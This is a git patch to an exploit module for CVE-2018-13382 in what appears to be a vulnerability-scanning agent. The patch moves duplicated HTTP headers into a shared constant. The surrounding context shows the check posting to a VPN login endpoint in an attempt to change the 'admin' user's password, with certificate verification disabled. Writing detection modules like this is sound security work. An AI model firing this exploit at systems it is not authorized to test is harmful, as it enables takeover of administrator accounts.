From 80d399ed932eece1113fcde056ffb07c4255f5bf Mon Sep 17 00:00:00 2001
From: PiranhaSa <saad@ostorlab.dev>
Date: Wed, 22 Nov 2023 08:46:09 +0100
Subject: [PATCH] fix comments

---
 agent/exploits/cve_2018_13382.py | 25 +++++++++----------------
 1 file changed, 9 insertions(+), 16 deletions(-)

diff --git a/agent/exploits/cve_2018_13382.py b/agent/exploits/cve_2018_13382.py
index 8948d018..87db80e4 100644
--- a/agent/exploits/cve_2018_13382.py
+++ b/agent/exploits/cve_2018_13382.py
@@ -13,6 +13,13 @@
 disable_warnings(exceptions.InsecureRequestWarning)
 
 DEFAULT_TIMEOUT = 90
+HEADERS = {
+    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
+    "Accept-Language": "en-US,en;q=0.5",
+    "Accept-Encoding": "gzip, deflate",
+    "Connection": "close",
+    "Upgrade-Insecure-Requests": "1",
+}
 
 logger = logging.getLogger(__name__)
 
@@ -27,15 +34,8 @@ def accept(self, target: definitions.Target) -> bool:
         """Verify if the host is alive."""
         try:
             url = f"{target.scheme}://{target.host}:{target.port}/remote/login?lang=en"
-            headers = {
-                "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
-                "Accept-Language": "en-US,en;q=0.5",
-                "Accept-Encoding": "gzip, deflate",
-                "Connection": "close",
-                "Upgrade-Insecure-Requests": "1",
-            }
             r = requests.get(
-                url, headers=headers, verify=False, timeout=DEFAULT_TIMEOUT
+                url, headers=HEADERS, verify=False, timeout=DEFAULT_TIMEOUT
             )
             return r.status_code == 200 and "<title>Please Login</title>" in r.text
 
@@ -45,13 +45,6 @@ def accept(self, target: definitions.Target) -> bool:
     def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
         """CVE-2018-13382 : An Improper Authorization vulnerability"""
         url = f"{target.scheme}://{target.host}:{target.port}/remote/login?lang=en"
-        headers = {
-            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
-            "Accept-Language": "en-US,en;q=0.5",
-            "Accept-Encoding": "gzip, deflate",
-            "Connection": "close",
-            "Upgrade-Insecure-Requests": "1",
-        }
         # we are trying to change the password for the user : admin
         data = {
             "ajax": "1",
@@ -64,7 +57,7 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
         }
         try:
             res = requests.post(
-                url, headers=headers, data=data, verify=False, timeout=DEFAULT_TIMEOUT
+                url, headers=HEADERS, data=data, verify=False, timeout=DEFAULT_TIMEOUT
             )
         except requests.exceptions.RequestException:
             return []